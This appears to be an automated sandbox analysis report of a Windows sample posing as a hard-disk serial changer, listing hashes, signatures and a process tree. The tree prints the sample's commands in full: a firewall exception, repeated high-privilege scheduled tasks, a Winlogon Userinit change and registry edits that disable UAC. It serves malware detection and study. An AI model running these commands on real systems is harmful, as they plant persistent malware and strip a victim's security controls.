Analysis
- user interaction
yes - max time kernel
15s - max time network
604s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/07/2026, 02:44
Static task
static1
Behavioral task
behavioral1
Sample
HardDiskSerialNumberChanger.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
HardDiskSerialNumberChanger.exe
Resource
win11ltsc2024-20260709-en
General
- Target HardDiskSerialNumberChanger.exe
- Size 814KB
- Sample260721-c76e4acz2j
- SHA256 3eefd68b713fdf1e65fdfe2cd81381627e7554ae20e9dbcbb0f71fb3e72f8950
- MD5 34893a246e7245429c699a9ac43747a6
- SHA1 62b88ca9b79db81d831495ffccffb31f6e004fd9
- SHA512 8943a358581c3b55d1caedde80fac83229cf6057ed20037d3cf77138c37131bd78d426134c79d957a0848aa136fea16829c2b0308d85bc0c4d64aa75f799ddeb
- SSDEEP 12288:ijcnvzOmB6ra6Z4CbFbOuNiZE8vL5PYJ1zWmyMljcHQ3Vdn:ZzBGKCxOvzt81xiQ3Vdn
- TLSH T12E05E7247B959E01E5411A3E92BE2618D73260F32312AB47370BF7624D44AFEDD2C7DA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\scvhosta" HardDiskSerialNumberChanger.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Loads dropped DLL 5 IoCs
pid Process 2748 Process not Found 3024 taskkill.exe 5836 timeout.exe 292 explorer.exe 4704 Process not Found - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe - Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 api.ipify.org 1 api.ipify.org 1 icanhazip.com 2 api.ipify.org 8 api.ipify.org 9 api.ipify.org - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\xdwd.dll HardDiskSerialNumberChanger.exe File opened for modification C:\Windows\xdwd.dll HardDiskSerialNumberChanger.exe - Executes a command shell one-liner 1 TTPs 27 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1796 cmd.exe 1240 cmd.exe 4420 cmd.exe 2396 cmd.exe 4844 cmd.exe 4076 cmd.exe 1560 cmd.exe 6084 cmd.exe 5496 cmd.exe 4548 cmd.exe 296 cmd.exe 3116 cmd.exe 4800 cmd.exe 5420 cmd.exe 2780 cmd.exe 5168 cmd.exe 5620 cmd.exe 1612 cmd.exe 1616 cmd.exe 3952 cmd.exe 2688 cmd.exe 2340 cmd.exe 1548 cmd.exe 4832 cmd.exe 3416 cmd.exe 4932 cmd.exe 3136 cmd.exe - Checks SCSI registry key(s) 3 TTPs 42 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe - Delays execution with timeout.exe 1 IoCs
pid Process 5836 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 3024 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{1A34BFAF-C8EF-4DBA-AC7F-EC6D62042368} explorer.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{32E1170B-9BAB-4930-9E2C-7D0C10AAA52A} explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1232 schtasks.exe 4920 schtasks.exe 4668 schtasks.exe 3796 schtasks.exe 4956 schtasks.exe 6076 schtasks.exe 2716 schtasks.exe 5512 schtasks.exe 2544 schtasks.exe 3796 schtasks.exe 5860 schtasks.exe 2856 schtasks.exe 5080 schtasks.exe 3660 schtasks.exe 3188 schtasks.exe 1300 schtasks.exe 4264 schtasks.exe 5300 schtasks.exe 2520 schtasks.exe 1224 schtasks.exe 4416 schtasks.exe 3316 schtasks.exe 2440 schtasks.exe 3172 schtasks.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 5460 HardDiskSerialNumberChanger.exe 5460 HardDiskSerialNumberChanger.exe 3024 taskkill.exe 3024 taskkill.exe 5836 timeout.exe 5836 timeout.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 5460 HardDiskSerialNumberChanger.exe Token: SeDebugPrivilege 3024 taskkill.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe Token: SeShutdownPrivilege 292 explorer.exe Token: SeCreatePagefilePrivilege 292 explorer.exe - Suspicious use of FindShellTrayWindow 9 IoCs
pid Process 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe 292 explorer.exe - Suspicious use of SendNotifyMessage 2 IoCs
pid Process 292 explorer.exe 292 explorer.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3292 StartMenuExperienceHost.exe 4740 SearchHost.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5460 wrote to memory of 5072 5460 HardDiskSerialNumberChanger.exe 91 PID 5460 wrote to memory of 1560 5460 HardDiskSerialNumberChanger.exe 92 PID 1560 wrote to memory of 2544 1560 cmd.exe 95 PID 5460 wrote to memory of 5420 5460 HardDiskSerialNumberChanger.exe 96 PID 5420 wrote to memory of 3796 5420 cmd.exe 98 PID 5460 wrote to memory of 1240 5460 HardDiskSerialNumberChanger.exe 99 PID 1240 wrote to memory of 3024 1240 cmd.exe 101 PID 1240 wrote to memory of 5836 1240 cmd.exe 102 PID 1240 wrote to memory of 292 1240 cmd.exe 103 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\HardDiskSerialNumberChanger.exe"C:\Users\Admin\AppData\Local\Temp\HardDiskSerialNumberChanger.exe"1⤵
- Modifies WinLogon for persistence
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5460 -
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="L8)lVUWKV)v*V4" dir=in action=allow program="C:\Users\Admin\AppData\Local\scvhosta" enable=yes & exit2⤵PID:5072
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2544
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5420 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3796
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C:\Windows\SYSTEM32\cmd.exe"cmd" /C taskkill /im explorer.exe /f > NUL 2>&1 && timeout /t 3 /nobreak > NUL && start explorer.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\taskkill.exetaskkill /im explorer.exe /f3⤵
- Loads dropped DLL
- Kills process with taskkill
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Loads dropped DLL
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
PID:5836
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C:\Windows\explorer.exeexplorer.exe3⤵
- Boot or Logon Autostart Execution: Active Setup
- Loads dropped DLL
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:292
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:6084 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4416
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:2340 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3316
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:2780 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3188
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:5168 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4956
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3292
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4740
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C:\Users\Admin\AppData\Local\scvhosta"C:\Users\Admin\AppData\Local\scvhosta"1⤵PID:3556
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:5496 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1300
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4420 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4264
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:2396 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2440
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4548 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:6076
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4844 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3796
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:5620 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:5300
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:296 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3172
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:1612 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:5860
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableInstallerDetection /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableSecureUIAPaths /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableVirtualization /t REG_DWORD /d 0 /f >nul 2>&1 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 0 /f >nul 2>&12⤵
- Executes a command shell one-liner
PID:1616 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f3⤵PID:1156
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:3116 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2520
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
